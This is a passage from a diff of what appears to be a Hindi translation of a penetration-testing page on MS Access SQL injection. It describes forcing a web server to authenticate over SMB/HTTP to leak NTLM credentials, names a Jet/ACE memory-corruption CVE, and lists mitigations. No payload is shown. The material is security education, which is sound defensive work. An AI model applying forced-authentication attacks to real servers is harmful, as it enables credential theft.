1. दूरस्थ डेटाबेस को खोलने के लिए SMB / HTTP के माध्यम से प्रमाणीकरण करने की कोशिश करेगा;
|
||||
2. वेब-सर्वर के **NTLM क्रेडेंशियल्स** लीक करेगा (बाध्य प्रमाणीकरण);
|
||||
2. वेब-सर्वर के **NTLM क्रेडेंशियल्स** को लीक करेगा (बाध्य प्रमाणीकरण);
|
||||
3. दूरस्थ फ़ाइल को पार्स करेगा - एक गलत या दुर्भावनापूर्ण डेटाबेस Jet/ACE मेमोरी-करप्शन बग को ट्रिगर कर सकता है जो कई बार पैच किए गए हैं (जैसे CVE-2021-28455)।
|
||||
|
||||
व्यावहारिक इंजेक्शन उदाहरण:
|
||||
@ -195,7 +195,7 @@ Mitigations (विरासत Classic ASP ऐप्स के लिए भी
|
||||
* नेटवर्क सीमा पर आउटबाउंड SMB/WebDAV को ब्लॉक करें।
|
||||
* किसी भी क्वेरी के उस भाग को साफ करें / पैरामीटर करें जो `IN` क्लॉज के अंदर समाप्त हो सकता है।
|
||||
|
||||
फोर्स्ड-ऑथेंटिकेशन वेक्टर को Check Point Research द्वारा 2023 में फिर से देखा गया, यह साबित करते हुए कि यह पूरी तरह से पैच किए गए Windows Server पर अभी भी शोषण योग्य है जब रजिस्ट्री कुंजी अनुपस्थित है। citeturn0search0
|
||||
फोर्स्ड-ऑथेंटिकेशन वेक्टर को Check Point Research द्वारा 2023 में फिर से देखा गया, यह साबित करते हुए कि यह पूरी तरह से पैच किए गए Windows Server पर शोषण योग्य है जब रजिस्ट्री कुंजी अनुपस्थित है। citeturn0search0
|
||||
|
||||
### .mdb पासवर्ड क्रैकर
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user